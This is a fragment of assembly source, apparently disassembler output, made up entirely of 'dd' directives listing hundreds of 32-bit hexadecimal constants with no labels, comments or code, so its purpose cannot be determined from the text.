		dd 4812DB46h, 0B000B34Dh, 0A811930Bh, 1DCDCAE9h, 83F06C39h
		dd 13DE7AE2h, 167D2290h, 0AF01E472h, 5A1A0D9Eh,	5420B7FCh
		dd 85324D4h, 1990080h, 916F45Eh, 20994097h, 3EF007Bh, 0DC64EEF1h
		dd 0E700B314h, 49CB6086h, 3A22B630h, 0F484B09Dh, 87BC1261h
		dd 25446041h, 0D82427EDh, 9924804Fh, 0CA00861Dh, 0B543267Fh
		dd 9923004Dh, 74077C0Fh, 8E793328h, 0C62DE712h,	6FE85400h
		dd 0EC2CB81Eh, 82163B4Ah, 0FF813200h, 0AC38B70Bh, 99D16000h
		dd 0C646D88Ch, 0F65200D4h, 5ECCB623h, 18001ACEh, 0E0620398h
		dd 2C6A0475h, 4431740h,	0C04A329Bh, 0ED1BBC60h,	60816500h
		dd 5AD7CA74h, 9AE7006Ah, 1E848024h, 26F81DBDh, 9000EB70h
		dd 48FA3AF5h, 0F4765BCh, 0B64BC29Dh, 527DA380h,	0C87F9966h
		dd 0B7C69A50h, 5F257B12h, 893FD800h, 3603Eh, 0FE91138Fh
		dd 9E85DEC2h, 8E84653Fh, 80D662C8h, 0A317A14Ah,	0EA6A0047h
		dd 32E448DBh, 3600CF80h, 709FE9BBh, 419E94h, 0CD11A8C4h
		dd 2453D587h, 0C53802E2h, 555A8005h, 197169D9h,	44C407A9h
		dd 7033C25Ch, 782D5394h, 0B55BF700h, 3F7C240Ch,	80A416F6h
		dd 0E8DD0389h, 0FEE88B90h, 59053B94h, 0C745D215h, 77C0C800h
		dd 13D176h, 0FA7EF9CBh,	0A6D90A20h, 60C7C300h, 0B1622824h
		dd 951000F4h, 3FAA4C7Bh, 34009DDBh, 5032564Dh, 7E8A4B40h
		dd 3ED61128h, 8BD30F08h, 240352F2h, 0E847AE46h,	4C37D8CEh
		dd 362688F8h, 0B1B1E11h, 0B400ACDDh, 0ADA4C66h,	25C8FD0Eh
		dd 4AA2C0ABh, 4E965FBh,	0DBC4983Bh, 0C23C80A9h,	0D51BCF46h
		dd 0B010AA7Eh, 3F5C81F6h, 9A80E475h, 79222EBh, 0F4183852h
		dd 0D760ABD1h, 794E009Ch, 6768FCF1h, 830044CDh,	28C75836h
		dd 176CF84Bh, 1613457h,	4D468928h, 501DD8D0h, 4A647A00h
		dd 27F33137h, 52F0006Eh, 2E98FF82h, 0F4B01513h,	0C8FC103Bh
		dd 0BF8A004Dh, 3D055EE6h, 773C0B4Eh, 5F0CF9CDh,	0EB2EE288h
		dd 80B9D0FFh, 5B784405h, 702B0A9h, 770FCF7Dh, 0C1825097h
		dd 0C3002A4Ah, 64AFF296h, 0A7537E0h, 0D2A08879h, 1CAF24E0h
		dd 577804Ch, 7C28B378h,	712FBD03h, 88E6597Dh, 0C9D7818Bh
		dd 90105879h, 3A14FAEAh, 0FA01931h, 4CC198ECh, 0A1117Ch
		dd 4C772028h, 242C5C3Fh, 0EF75400h, 0E3BBB137h,	0C014CC2h
		dd 9052B200h, 0BD71E80Ah, 0F18DDD00h, 0FEB6F9C3h, 4A05E895h
		dd 0D54802CBh, 8C6071D1h, 9CBAEB27h, 0FB82EC00h, 0B0C30C8Dh
		dd 64D8000Dh, 0B959487Dh, 2601E9BFh, 91145B5Fh,	0D0CD091Ch
		dd 3C0F60h, 0C7EBA508h,	0A973358Ch, 3A7E3D00h, 89DEEEF2h
		dd 29CF07BAh, 0A0CE678Dh, 5DFF6A4Ah, 9AC4806h, 99144EEh
		dd 17EFA20h, 0E27D9082h, 0D2FCCE8h, 33CAA48h, 0B79CDF06h
		dd 5B110029h, 4CE726ADh, 24033986h, 0A7373D5Fh,	0B847A310h
		dd 16EF623Ch, 9493CFh, 0F04F0454h, 280065E1h, 36961FB1h
		dd 1F09F685h, 45591281h, 0AA22F5h, 3C843E84h, 2600566Eh
		dd 0E0E818B7h, 5544BFh,	835E7AF8h, 4DEEB7Dh, 0C409FD78h
		dd 0CD53F6h, 73D55FCCh,	170E0083h, 5AB43AA2h, 0E000CADEh
		dd 0A55DB85Bh, 60E93521h, 457E685Fh, 9604BDB1h,	131A1E92h
		dd 2081AC81h, 2653ECh, 0BFC1F6AFh, 25D3A572h, 9B9FDD07h
		dd 0C8054B54h, 0E41E040h, 0E22FECh, 0E76270C3h,	0F379A138h
		dd 45754C00h, 4E3F1B59h, 0C0365F26h, 90DC2944h,	4C4D9C00h
		dd 0E91E2D3h, 285E7A73h, 0C00602h, 0D095A193h, 7A6EBE51h
		dd 0D2DEAD04h, 88C0C598h, 60CBBA68h, 1752B0EEh,	0E471D5B4h
		dd 6F622300h, 1C5CB321h, 0BAB624EAh, 0B9D802Ch,	0AEEE3D86h
		dd 43923000h, 51102C22h, 5F07003Ah, 0BD7FAFA9h,	0BF020515h
		dd 24FD78DEh, 8B4C687Dh, 0BCD4EA0h, 5C00CF1Ch, 7F3F3628h
		dd 0F0B9FB00h, 0A9F47819h, 807B01B4h, 0B0A2CC63h, 3D2180DAh
		dd 1845083Fh, 3B203F95h, 12185AB1h, 0ABB440DCh,	0CD1C3DF7h
		dd 0AC0FA72h, 0AF6853D8h, 4CF848CBh, 830C2426h,	0A5F739BFh
		dd 80300999h, 0B71792D9h, 13E62Bh, 0EE0533B4h, 77B5C7C5h
		dd 0D21C0754h, 0D5FA9275h, 7808E93Eh, 85306079h, 0E14EE046h
		dd 0FA8F00F0h, 0BE3ABA1Ah, 620F94EBh, 200C8627h, 2C74327Ah
		dd 751F0106h, 0EF0A1A6Bh, 0F380D2C1h, 0EB427D6Dh, 12AD9C01h
		dd 0B9AEDC3Ch, 35E5DCh,	1876D3B1h, 28A9D85Fh, 3D774E01h
		dd 0C5EC62E7h, 0C60C6E1h, 6EF00CAh, 0F0FB52E2h,	0F1006D7Bh
		dd 33CD25FAh, 949C1798h, 8D8E0268h, 0FC80197Dh,	6CEDF907h
		dd 9B5B18C2h, 24B478FAh, 2491ABB4h, 0C79A13D8h,	5870E024h
		dd 1EE4954Bh, 849658h, 3A764F90h, 51FF5026h, 7B6084F9h
		dd 57030036h, 0C8480881h, 17547E10h, 210E58E4h,	245DBDFEh
		dd 409128EDh, 0F7C0BCADh, 202F00ABh, 607E1CFDh,	9172A2DEh
		dd 8F763500h, 955DFB3Eh, 0F20B0263h, 26094564h,	3F004464h
		dd 53E00F6Eh, 9A02DB7h,	37463BD5h, 36C061h, 281748h, 57B12CFAh
		dd 0DC051ABFh, 750E26FAh, 0C020DF89h, 0D6EE1E45h, 805E60E3h
		dd 4CC5B4BBh, 107F4D30h, 0E2D719D1h, 0CEF117D4h, 3A58008Fh
		dd 0CDA7B510h, 8064A13Fh, 0ADED5567h, 163832Ah,	1F87F8EEh
		dd 965CAEF6h, 0E0377E91h, 900726h, 0EFED9398h, 2BF2BE3Eh
		dd 1F653Eh, 92C0337Eh, 852852h,	6422ED4Fh, 0C5C46886h
		dd 60CE48h, 994EA38h, 3E995590h, 18E4F04Dh, 9AF0D136h
		dd 320C2171h, 0C0600048h, 0AD8E486Ah, 0ED75DCh,	0A7C97524h
		dd 0DEEF174Fh, 0D8379300h, 4935B420h, 708B03B1h, 72888790h
		dd 77A7C001h, 0FD469526h, 1D6013E8h, 0C0F439B6h, 67758622h
		dd 6D00F1BAh, 0FB53A68Bh, 3588DFCh, 3EBC0269h, 8AB8B6C6h
		dd 0B0022D46h, 846FB415h, 5308C0A9h, 987D7429h,	0DE933D5Ch
		dd 0BF431279h, 80205D94h, 2F41D59Ch, 61005790h,	3A324CFAh
		dd 5494D92Eh, 4DDCAC5Ch, 2C825CE9h, 5048B146h, 6C99363Ah
		dd 0D36A15C0h, 0E5710C2Bh, 4B148A57h, 370E158h,	0E23A3C88h
		dd 2997B8FDh, 4E1403C8h, 0B8D733B6h, 0F422EF80h, 3B489Ch
		dd 0BC5A480Ah, 33D85D6h, 3A03CF25h, 29B88C2Bh, 0AE04AC27h
		dd 98180A22h, 0CEA92080h, 0A3CA00DAh, 0F4AFA6C1h, 7090471Eh
		dd 0A00D6ECh, 0E81ADE5h, 0ECAA97h, 0A6CB659Ah, 489B019Fh
		dd 0B9FCA500h, 23B08827h, 34730741h, 0B9716036h, 0CF921480h
		dd 3F7D32E7h, 58B25Ch, 1B36684h, 39E274EEh, 4BF7894Ch
		dd 93A80106h, 703CA488h, 0E600C158h, 190A0783h,	26FA6513h
		dd 84583D94h, 90B98C18h, 77C62EE0h, 0CF004AB0h,	15EB0E34h
		dd 0CF403B6h, 24020926h, 0BE715E29h, 0A3784F0Fh, 25193CB7h
		dd 0C8103520h, 94055084h, 0B267AB7Bh, 0D4CD040h, 57E4F69h
		dd 7A3C07B8h, 0CAB10EE0h, 1465C402h, 16EBC80h, 0BE0006FFh
		dd 0C8BD740Fh, 0C7BB542h, 321C8AA1h, 880F8160h,	0A15BD6BBh
		dd 0A9FAED30h, 8EDFD4h,	0FFBD3B26h, 53E4D2F7h, 0C202D1F4h
		dd 0D68C97F1h, 945E4057h, 873500C3h, 5AEDEF6Ah,	3600A911h
		dd 2C8C6542h, 6031BBA0h, 0B92B682Dh, 0C50028EBh, 27DF3659h
		dd 13D58838h, 45DE899Fh, 0B3024CC4h, 118000D0h,	835FB6C2h
		dd 26709AF7h, 0E6AAAEh,	2FF3E096h, 694CDE15h, 2B10944h
		dd 8DB482EBh, 645840D2h, 4033004Eh, 27062184h, 490B1913h
		dd 60D841C9h, 18A41FE8h, 11F2DE52h, 0EB003325h,	0BAB5BD4Dh
		dd 2A98288Eh, 3FF0D873h, 0CBD090Ah, 0E1D3DC80h,	0BCDDC73Dh
		dd 808F803Ch, 0D47687C8h, 1263A4B9h, 3C4FB1Ah, 0B60D5C44h
		dd 0B07BB1E8h, 421B56B0h, 9870EE18h, 38FAAB53h,	0B58F6968h
		dd 63C59ABBh, 912BC07Dh, 6398DF92h, 4750CA00h, 0DAFC1E83h
		dd 0B2C30015h, 814F2253h, 794E4321h, 71E1C000h,	28BC46C2h
		dd 28982DF8h, 4CB85DD8h, 809CB01Fh, 0F75ADE02h,	0B700F889h
		dd 0D0DDBD35h, 282AB14h, 2FD47087h, 64C0A39Ch, 1D00DFB9h
		dd 0AA04E851h, 7FA76086h, 795F720Dh, 469B002Dh,	34253377h
		dd 1713B4F9h, 4C00DBD7h, 597E45F4h, 8DB6003Eh, 131151CDh
		dd 48003188h, 1810964Fh, 60656E6Ch, 2523DE7Bh, 0C40A1690h
		dd 90D707F8h, 0B296003Ch, 0F4B0525Ch, 0AF9F018Ch, 16094C53h
		dd 64AF4363h, 8D6B5CF0h, 0EDC9100Ch, 7FC72166h,	133874CEh
		dd 9635CCBh, 5381473Ch,	0DCB2B5FAh, 0F20041EBh,	7829A88h
		dd 93A65Dh, 8A61E6A5h, 69FF9F2Ch, 5EDBC000h, 8662CC10h
		dd 0D54F0005h, 1A842511h, 0C6707102h, 0AE75BCA0h, 0B938FA00h
		dd 3386408Dh, 13F61EE4h, 585A039Eh, 3BB0E8D8h, 0FF0194C9h
		dd 0B62A953Dh, 68E0CA69h, 20A000F5h, 0A8CE75E4h, 0AA138139h
		dd 380177BCh, 2427B61h,	0B6DC3431h, 59C4033Bh, 0DDF344D9h
		dd 2B1697F0h, 0D0E14D12h, 5B34D0D1h, 54071C3Ch,	0FC6249F5h
		dd 3001611h, 192D7E3h, 0E2C7EA5Eh, 157628E4h, 0CD2725C1h
		dd 6C5C2441h, 809E2C2Ch, 64418E0Fh, 5CA075A2h, 0CB912C1Eh
		dd 74DF09E9h, 33E94880h, 6101F092h, 355C49BEh, 2C72E704h
		dd 50F21B0Ch, 1026B80h,	52F9D361h, 43504036h, 1D1A7AD2h
		dd 0BAA75E49h, 0CFD6760Eh, 7D8AF9C0h, 2900825Fh, 0A4D14D44h
		dd 0A0CA80CEh, 301357C0h, 0B5B107AEh, 78003A6Dh, 0C6804DF8h
		dd 3C37A56Ch, 9A00D553h, 0DFA81298h, 0D41F087Bh, 6A03FD3Eh
		dd 0C10329F6h, 403CB5A7h, 0E8673504h, 0D250E178h, 0D9023B22h
		dd 92BE84BCh, 79C4D096h, 0E403917Ah, 277FFE3Dh,	60CFA47Bh
		dd 515B7C19h, 0D1105028h, 0EE02F9FBh, 67ED081Eh, 9E4760C0h
		dd 3B771AEh, 3E23C69Bh,	60F8A476h, 0EE00614Eh, 7D4462BCh
		dd 7E988CA8h, 0A91600CAh, 58E2BE22h, 0FE001E6Eh, 0C59B3884h
		dd 0F901F56h, 6015F30Eh, 4E8F4543h, 6E07DF8h, 3C789100h
		dd 17B6391Eh, 0AEF20054h, 1045D90h, 830031E9h, 6FA743FFh
		dd 49FE6Ch, 0C513488Ah,	0BB04B54Eh, 0F2464F00h,	0BFAAFF6Dh
		dd 0FA990005h, 665F2144h, 0CC144C2Dh, 0B64BAFh,	0C803C50Bh
		dd 2613F83h, 0D933684h,	0F60A8E7h, 9918CF1Eh, 6C11FB0Fh
		dd 0F420C02Dh, 0DCEE2B4Fh, 0BEA6E001h, 763487B7h, 0E8B0B2DCh
		dd 0E59E3DFAh, 0BF0BE300h, 19435745h, 72BD6E00h, 0DED72F01h
		dd 1840ECAEh, 4929E64Ch, 55658CEFh, 1023DFB9h, 0F5080946h
		dd 2C0F9381h, 0C280540Fh, 19D6F48Ah, 0B1A3340Fh, 12AFC7EFh
		dd 0CF8EF940h, 1E1FE6Ah, 67E6DC96h, 8A54C22Ch, 3493EE38h
		dd 89368809h, 4674A04Ah, 2C6F3E16h, 78E085h, 25D345F8h
		dd 0A395147Eh, 0B0EA8EECh, 0F87588ABh, 860CA021h, 0DBD30055h
		dd 802B924Bh, 0C47CA784h, 3A1C5000h, 3DF967D1h,	31050060h
		dd 0AD0819F8h, 6F00E266h, 968E0482h, 0B55E78h, 59A953D3h
		dd 714E066Bh, 0C7F87900h, 579375C0h, 111B0092h,	382AB060h
		dd 221D8AFCh, 0A80C34FFh, 0F3881Eh, 0BD3D29CDh,	0E15585B4h
		dd 94DBF22Ch, 0C8D40480h, 0F860028Ch, 0C3955D1h, 0ED0843EDh
		dd 0E0107242h, 88A19FE3h, 0D546B9D8h, 2B4C0849h, 0F077020h
		dd 0B41A538Bh, 6E138185h, 0CC3EA040h, 26194B88h, 8014E1BDh
		dd 52C64DC7h, 0D130E21Fh, 1E7E5106h, 4CBCA407h,	0BA00FAE0h
		dd 8D4DD619h, 5F3CE3BFh, 0D8D430AAh, 0C748537Dh, 82A1B771h
		dd 0D0AF7145h, 4C06A20Fh, 0DF012149h, 420D72C6h, 0BC38AA73h
		dd 79DA7718h, 531CB5Ah,	43CAC8CCh, 0AC7CAC50h, 99C60298h
		dd 6E2F668Fh, 0C27F545Eh, 1468D576h, 0D505BA6h,	33F2FAC4h
		dd 0CE30A297h, 8A6C0277h, 8348F010h, 1334E2h, 9B4D3629h
		dd 0DC42761Fh, 0B900C278h, 796C15A6h, 324B97h, 12029C7Ah
		dd 0DDD4550h, 0A0F7C10Bh, 0E05E8F62h, 0AEDAF610h, 6D7A096Ch
		dd 0FE838BB7h, 0EC8809Eh, 0FB00D5B0h, 81EC4D41h, 673E6ADh
		dd 114CD004h, 43077967h, 1D5077DDh, 23CE603Fh, 0ABC892h
		dd 3EEF2CBCh, 90B015D8h, 0EF4B58h, 0E6229BC2h, 2CF3AF51h
		dd 0A3609Ah, 0F7B14363h, 0C100B3A5h, 0C9E664C7h, 2D6A2AF1h
		dd 8F5C45E7h, 654A6200h, 236C6h, 0D132E299h, 37185D2Bh
		dd 430060FEh, 0E6CB0F47h, 1AEF3Eh, 0C4DDD8EAh, 77C8E46Fh
		dd 0ED13547Ah, 0C1000AA5h, 5A13AA79h, 53C10594h, 0C03044BEh
		dd 0DDB571F1h, 0D4F16707h, 62208BB3h, 64D211F8h, 910DE282h
		dd 0D49CD358h, 6401DA32h, 433EA3A2h, 0C6C44EEBh, 27510068h
		dd 817079DCh, 0FB1D594Dh, 7BE5D4Ch, 5313E97Eh, 3CED9AC0h
		dd 0E89E0060h, 0D41D0539h, 8D0021DDh, 0E7E414C6h, 18C3D8Fh
		dd 1EBD632Fh, 0EE3F41A3h, 0C914CA20h, 24FE009Ah, 4868D54Eh
		dd 9300C3DCh, 0B24CE3BCh, 0EA49B8h, 5332C8E1h, 847E60B6h
		dd 0E202AC00h, 3A771FA1h, 0B4683BB8h, 673F313Dh, 0F5BF687h
		dd 0F059A741h, 0FE804C03h, 35688903h, 87B192ABh, 83266B70h
		dd 0B7572C31h, 0C49700D0h, 180EF02Ah, 0E35ED600h, 997A7DF9h
		dd 7F490048h, 0FFCB7094h, 7700C984h, 0FE549A80h, 7BBC5A6Fh
		dd 92E703D9h, 6A22EE52h, 0ED00E0E6h, 3BD31DE2h,	234692Ch
		dd 530E52DFh, 9680A16Ch, 44D02D1h, 29AB5D00h, 44335695h
		dd 9D0900EBh, 1A4F3630h, 0D2603AA5h, 172416D8h,	14FD00E1h
		dd 0A0C2D822h, 0E4009D69h, 8EFA7C78h, 0FBBA97h,	1F9FBCCFh
		dd 518BA042h, 4900ACFEh, 0A8B1FC14h, 943C770h, 8FC6E10Fh
		dd 8851E824h, 307E214h,	4D39AF94h, 65E32D30h, 0E7D507C0h
		dd 38481Dh, 2F9242BFh, 9CB0FE19h, 0E6F41h, 0DAF5DDECh
		dd 0EBF440h, 0A023DF6h,	0EDD5CD64h, 0DDD3230Fh,	0C5AE012Ch
		dd 20F8DF2Dh, 59BB225Ch, 0D0B09100h, 0D337E7CDh, 0AA61280h
		dd 0C1084BADh, 0F6666687h
		dd 0CE006132h, 20042FD5h, 77FDA24h, 2150E2B8h, 3418E0BBh
		dd 20906C3Bh, 6160A630h, 5CDBFh, 0F3D411F9h, 3DB2615Ah
		dd 40C1F024h, 0CA04873Bh, 7FC3D72Bh, 4569C9A5h,	3C88A422h
		dd 729710C0h, 20CB306Ah, 56AC2CA9h, 38C8E56h, 0B8D73FADh
		dd 7189F055h, 0F041E765h, 12FCF88Ah, 2C90AC42h,	8A181908h
		dd 80E4AE01h, 1A8FB482h, 0EE5436F5h, 2000DB80h,	0FE34A6D3h
		dd 0EDD626Dh, 0F9D1A496h, 164A79B8h, 4C29C503h,	0D01C9DB7h
		dd 38EE0413h, 6181B428h, 648EDE86h, 338080CCh, 0B3859F53h
		dd 0EF3700CFh, 0EA1F3239h, 130EB2F5h, 2B4AEEFDh, 0B66E0093h
		dd 79A6F2h, 11E988ECh, 0FBC3AA9Ch, 0BD3B6400h, 991790B2h
		dd 5BEA0444h, 8091A846h, 0A653518Ch, 0CBD5803h,	0A3EB29h
		dd 17ACA2E9h, 0F9140D1Eh, 2DA5A4A8h, 68114402h,	57EDEE9Eh
		dd 53383DC0h, 9CA34D09h, 9800F71Dh, 56D7C36Dh, 0EA24CCE0h
		dd 0F500B04Fh, 7DE5261Ah, 35DA398Eh, 645F8C80h,	1CF4D514h
		dd 55DBD103h, 80E0B975h, 9141FE16h, 0A6BC8304h,	40A88F78h
		dd 4A186C2Dh, 0F2C08DB1h, 3C0D00C2h, 0A3CC2257h, 5600AE8Fh
		dd 0CD204675h, 7BE962Fh, 5AF6D147h, 8D44E0A0h, 0D8702CACh
		dd 0B0054B9h, 0C54256D5h, 1A68246Fh, 21E7040Dh,	8115C702h
		dd 32C11E2Dh, 395EC788h, 0C0D08284h, 18E7982Ch,	2104EED2h
		dd 0DE2641E8h, 0F28FE8FFh, 329BCF2Ch, 76E2B840h, 4629E81h
		dd 191EF6CAh, 8BC8D199h, 0C00862A3h, 0E4B9559Bh, 26009B3Bh
		dd 7E528034h, 271690EEh, 0DEF1E212h, 0FF24849h,	4CB895ACh
		dd 22E500BCh, 0BA33CF01h, 3FD7674h, 8DFF7978h, 0B9039548h
		dd 0ABEE6F4Dh, 5EF4985Bh, 0A750078h, 65B23C66h,	3A3D15B8h
		dd 0B11A9373h, 96944D00h, 1225942h, 48568A1h, 202E36CBh
		dd 9E008765h, 0C709F77Ch, 3D40B2E8h, 1F4AF19h, 73CD981Dh
		dd 0ED3CDBE3h, 2774D050h, 8C07B3F4h, 6DBCECFAh,	0E813E400h
		dd 0D6F30078h, 2C9FEBC0h, 54B0552Fh, 0C3205700h, 0BE2565C5h
		dd 0B56B001Eh, 30FC02B8h, 82016990h, 79927CCFh,	70203CF6h
		dd 129E772Ch, 908575D3h, 0EEA11794h, 0D20C2B0Eh, 0DA864192h
		dd 90400231h, 0B0837DC4h, 0DD580008h, 0F0531CFFh, 6BE8E54Eh
		dd 5F2E3D00h, 5C9E844Ah, 76BD059Fh, 4EC73E28h, 6BA195CCh
		dd 0F06F19C0h, 0EC0025BEh, 6EEFE068h, 0B0A59E6h, 0D331F8F3h
		dd 6D242680h, 6C3E810Fh, 2A660E6Fh, 941C023Ah, 20CE8F11h
		dd 6EF84BFFh, 896207B9h, 0E0DF40BEh, 550C87F1h,	0E82ED400h
		dd 0B986669Dh, 927F2EACh, 778C00ABh, 5753E9DAh,	7300D573h
		dd 176EEB3Bh, 73E7AAAFh, 7C51075Dh, 0BA12B988h,	0EC2E88h
		dd 694B768h, 0AB4CF91Ch, 9E29F08h, 3E9D41B3h, 0E5115020h
		dd 0DC58F5CCh, 1A6100DCh, 65C3CF27h, 8EEEE9h, 42D77FAEh
		dd 6F45325Ah, 6AD8A600h, 8344C0FDh, 703A5C80h, 6007F05Ch
		dd 10D8C682h, 99B37D8Dh, 0F16B6300h, 0A398C5EAh, 7041487Fh
		dd 4ABF240Fh, 0B91FDD40h, 0C7746347h, 0A0B71E30h, 145928Eh
		dd 0F0EBFA1Dh, 68D3C252h, 42890F2Ch, 44DD401Eh,	2B0DF1Dh
		dd 0B1ABE5B8h, 0A041B36Bh, 0F2C3F4B9h, 0E2653D00h, 63884519h
		dd 8E6D3050h, 15AABDF1h, 0C3A6F104h, 0F0D0F323h, 4A995BF2h
		dd 9300448Bh, 7554C05Dh, 0C90082A7h, 49D462E5h,	78EDF73h
		dd 47BD053Dh, 0BCA0296Dh, 1A53ACCFh, 4AC1F903h,	0C861648Ch
		dd 0B906E4ADh, 4030400Ch, 10C0AEE6h, 71451CEFh,	689F0092h
		dd 96EE6B59h, 0F8F82930h, 20B028B2h, 80F8D958h,	73F020E0h
		dd 7759779Bh, 883E4D65h, 0F99C3Bh, 0A01042DEh, 70985180h
		dd 12BC7D00h, 0BF7AF3C2h, 0A770FDh, 1CAB60FEh, 0BAB8A3D9h
		dd 74B3DC00h, 1DC333EEh, 0B8CC6213h, 4868D9F4h,	5052F6E5h
		dd 0A36025Ch, 91CD65E2h, 0C8209A50h, 785000ECh,	2E8BB453h
		dd 0AE26BD3h, 6945DF00h, 75A77958h, 93E70383h, 8C162254h
		dd 5E5C91BCh, 6C3D20DCh, 5098CA54h, 4785BA00h, 0C225ED82h
		dd 0D7609FCh, 1818C064h, 0E71B562h, 97E5DF04h, 7490CF08h
		dd 11F5DD1h, 0B21748F5h, 282CE282h, 0EDDC8178h,	69BE218Eh
		dd 65F07701h, 8BE8D3A5h, 0B080BF1h, 0F720308Bh,	1CE15C11h
		dd 0A338FB9Fh, 6E2F84Ch, 3A257C01h, 9A269180h, 0A389D868h
		dd 9F54625Dh, 1239E801h, 9180FFCAh, 9E6EAC32h, 1317BFA1h
		dd 78000C1Ch, 7C7A2F3h,	0F21F0FE4h, 0BC0ECAEh, 2AC974D4h
		dd 86CC2701h, 1B5BB954h, 60149BF0h, 4568389Fh, 2600E6D5h
		dd 0B92A2134h, 3D959150h, 4B9CEB7Fh, 0D778C59h,	6600B6C0h
		dd 46BDF901h, 7C3054h, 98B272F8h, 484B3175h, 11749F02h
		dd 0E0200641h, 0AD60A4Ch, 35F4223Eh, 6AD1868Ch,	6D2AC8B0h
		dd 872A8C90h, 6733D863h, 0D65029BAh, 0AC0D4CF0h, 153D3F00h
		dd 0CA5B5E7Ch, 43058B00h, 42A0972Bh, 0B2F31C2Dh, 0C0C11CCEh
		dd 9BA513C3h, 0F103847Bh, 0CC7152B8h, 4F2780EEh, 73FF00D4h
		dd 58AD25F8h, 860F9410h, 6906C2h, 81229FC4h, 7370267h
		dd 0C565C040h, 0D91FE450h, 0B680DBE8h, 2D431D59h, 37C100E2h
		dd 6E87B375h, 0EE00E926h, 9E3E4DDh, 1C9BBDA4h, 0DEFC35DCh
		dd 9E820096h, 9AA61FC2h, 7C277A1Ch, 20809F41h, 98746443h
		dd 0BA060146h, 68B37844h, 79845053h, 8A1D5558h,	72404E47h
		dd 5E6D6EFDh, 99A90094h, 2349CAE2h, 4300BCBEh, 0C629EB24h
		dd 0B0330BEEh, 6FC43D8Dh, 804126h, 0F9D54942h, 7BFEFE11h
		dd 201D9030h, 3AB22F2h,	6BB35569h, 0A6980E07h, 0D500BF74h
		dd 71B2B8DDh, 7B579C09h, 654B0084h, 584D02B0h, 0EA3E305Dh
		dd 86D99C96h, 766792C2h, 90C620B8h, 0BA00AD95h,	0E464D49Dh
		dd 7940DCC8h, 521F38C4h, 12DE0113h, 50E8C7C7h, 5F26E114h
		dd 0B29BB500h, 96EF6A03h, 8F4B0E25h, 86A05158h,	0D43F6C01h
		dd 0A30D3D00h, 0E902A02Bh, 45B90152h, 0C4B7EBF3h, 209EE19Dh
		dd 99007E40h, 6A60BB70h, 2E298C2h, 0C7FF7A4Ch, 0F4501B81h
		dd 20DA8C88h, 0C638FD00h, 0A69D76D6h, 7E07F2AEh, 1EBB0F1Dh
		dd 0A8808C6Ch, 0F7C01655h, 21E2F6ECh, 4751E300h, 59562AF0h
		dd 1611000Fh, 53CF5226h, 4F03B9BBh, 81957ECBh, 0D680150h
		dd 0E173885Dh, 0DCC88064h, 91E0312Eh, 9CCB5036h, 220F0039h
		dd 17D3D07Bh, 0F6009F6Dh, 6948D42Ah, 59247h, 0B49A7981h
		dd 0CC34C3B2h, 0C0599C1Eh, 0C141DC80h, 139860A9h, 80856DEEh
		dd 48B97198h, 0D6428E1Dh, 4D633E40h, 587C49h, 0E279415h
		dd 0FE8D4846h, 0E442C400h, 0BCF49DF0h, 0BB5C0056h, 0FFE2C3F5h
		dd 860F40A2h, 89475B7Ah, 2E600E7Dh, 64ACC06Bh, 410E15h
		dd 82FBA2D7h, 0E2CB0B89h, 91E55800h, 5F4BBB96h,	7EB900AFh
		dd 0EBCA10EFh, 0D400566Dh, 953D258Dh, 72F81BBFh, 1EA8007Dh
		dd 3A644CA6h, 60B07859h, 56480C07h, 95602E75h, 0A23F06h
		dd 79707755h, 0B3382FBEh, 0EE78560Fh, 0E10980AAh, 0ECE9EEDh
		dd 3C5FC042h, 0F5F3F6C0h, 1D7A9B28h, 0CDBA5B14h, 1F571EC8h
		dd 0C6D7F100h, 2646B899h, 924C5DA3h, 92C46362h,	6C4E8CE8h
		dd 46F1F600h, 0EADDC9E3h, 4F9600D4h, 0BFA723BDh, 610059A8h
		dd 0E14AEE04h, 0CFA3FA1Ah, 0B0EDC68h, 161C00D2h, 9DE8C20h
		dd 0C0C6F212h, 0F9410400h, 83AC02h, 0EF19D836h,	0B756100Bh
		dd 8A912700h, 0AFF64435h, 892F0090h, 0DFEE2392h, 2601E9B1h
		dd 650C0EF9h, 2864B94Ah, 0C59C0075h, 0F0E822A0h, 3200B6FDh
		dd 0FF5AD0FBh, 321FC0Ah
		dd 20E5EACh, 0E3D8AA01h, 1A31EDCAh, 5864D83Ch, 932130h
		dd 70BA5661h, 0B3F66D7Bh, 0FF43AF00h, 0E4DA2DD1h, 4D7F09E6h
		dd 58E05181h, 0D500088Dh, 0B76F533Ah, 9A1A2h, 0BDB5D826h
		dd 0F42CB44Ah, 5B231A00h, 38C6448Bh, 3F1E00E8h,	0CF45B8A6h
		dd 3300F51Dh, 0A7863E3Ch, 948DF62Ch, 0BC460320h, 73A0C2E6h
		dd 0D36F0381h, 5B7E8570h, 7A7AA0B4h, 88961FBAh,	39A49DA2h
		dd 0C81A7E17h, 0C3806C08h, 0E02B1DF1h, 0D22700E3h, 0C7C6881Ch
		dd 2C8D18D7h, 0E1D37641h, 541814CBh, 270E74E6h,	16805C4Ch
		dd 0B062B503h, 0DC73C700h, 0B3F8DDF1h, 1829CC72h, 17133F20h
		dd 0ACE1535Fh, 403F0CF9h, 0BED3C478h, 2100772Bh, 506D9D53h
		dd 7516884Bh, 0AACB03FFh, 308E049Ah, 87081C5h, 1FFC6CF8h
		dd 110B15CCh, 8C50A7h, 0F66AB2FFh, 55C95824h, 0F1E0D300h
		dd 96CBC8CDh, 0D5802FEFh, 0B1F4F800h, 0D118B606h, 0E288E50Ch
		dd 0F9743Ch, 3629284Bh,	0E7EA671h, 1F981E07h, 561019BAh
		dd 0FBADF7h, 0ED084AB0h, 90DE2685h, 0EAE1F502h,	2A555A8Ch
		dd 4CDF0769h, 0CF750269h, 12008072h, 0D954BEC7h, 0C3EB27h
		dd 25FF6FCAh, 85AEC7Eh,	7622820Ch, 44A31E3h, 0C5EE2961h
		dd 3CBF8118h, 28D9DBE2h, 7FF8D464h, 8C76AB8h, 7B0FB75h
		dd 0BE687342h, 49C6981Ch, 6000FC3Ch, 0CA37DF11h, 0B582ACh
		dd 9179DC06h, 40C4DB62h, 0EF731007h, 18C0BF86h,	0BCABB1h
		dd 787EF905h, 0C04BAF89h, 7C9F9A00h, 969DB73Dh,	0D2ED1D1Bh
		dd 40AEC6ACh, 35F85009h, 0BE204862h, 9D580D65h,	0D4068220h
		dd 118438h, 868B2170h, 1CAAB7E2h, 84A0933h, 0CE210078h
		dd 2D2A8B59h, 21381950h, 254180A9h, 4676CF2h, 9EBC5CAAh
		dd 27A08630h, 880039DEh, 0AE4D62EDh, 0C00701B0h, 0C6D31048h
		dd 0BC06915Ch, 0F4843C0Ah, 21196009h, 425CFEB3h, 279BAB1Dh
